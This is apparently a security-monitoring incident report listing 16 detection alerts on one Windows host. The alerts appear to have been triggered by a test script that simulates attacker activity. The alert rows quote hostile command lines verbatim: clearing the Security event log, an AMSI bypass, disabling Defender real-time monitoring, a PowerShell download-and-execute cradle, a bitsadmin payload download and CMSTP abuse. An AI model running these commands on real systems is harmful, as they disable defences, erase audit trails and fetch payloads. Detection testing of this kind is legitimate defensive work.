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Medium CINC-20251221-3E359754 new

Aggregate ID: aggind:47186ef241ea495885522e5d4930eda3:9118190685

Incident Overview

Incident ID CINC-20251221-3E359754
Severity Medium (70)
Status new
Alert Count 16
Host Count 1

Timeline

First Seen 2025-12-22 03:39:17
Last Seen 2025-12-22 03:41:18
Duration 0d 0h 2m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Defense Evasion Execution AI Powered IOA
Techniques:
Indicator Removal User Execution Command and Scripting Interpreter PowerShell CMSTP BITS Jobs

Affected Hosts (1)

TEAHEE

Related Alerts (16)

Severity Status Hostname Description Tactic Command Line Time
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:41
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:40
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:40
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:40
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 03:40
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:40
High new TEAHEE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 03:40
High new TEAHEE A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 03:40
High new TEAHEE A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line. Execution C:\WINDOWS\system32\cmd.exe /c "powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/ps')"" 12-22 03:40
High new TEAHEE A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script. Execution C:\WINDOWS\system32\cmd.exe /c "powershell Set-MpPreference -DisableRealtimeMonitoring $true" 12-22 03:40
High new TEAHEE A CMSTP.exe process appears to have been supplied with a suspicious INF file. CMSTP.exe may be abused to load and execute DLLs andor COM scriptlets SCT from remote servers. Review the command line. Defense Evasion cmstp /s /ns C:\Users\dokji\AppData\Local\Temp\test.inf 12-22 03:40
High new TEAHEE A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 03:40
High new TEAHEE A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 03:40
High new TEAHEE A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script. Execution powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 03:40
High new TEAHEE A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/test C:\Users\dokji\AppData\Local\Temp\bits.exe 12-22 03:40
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 03:39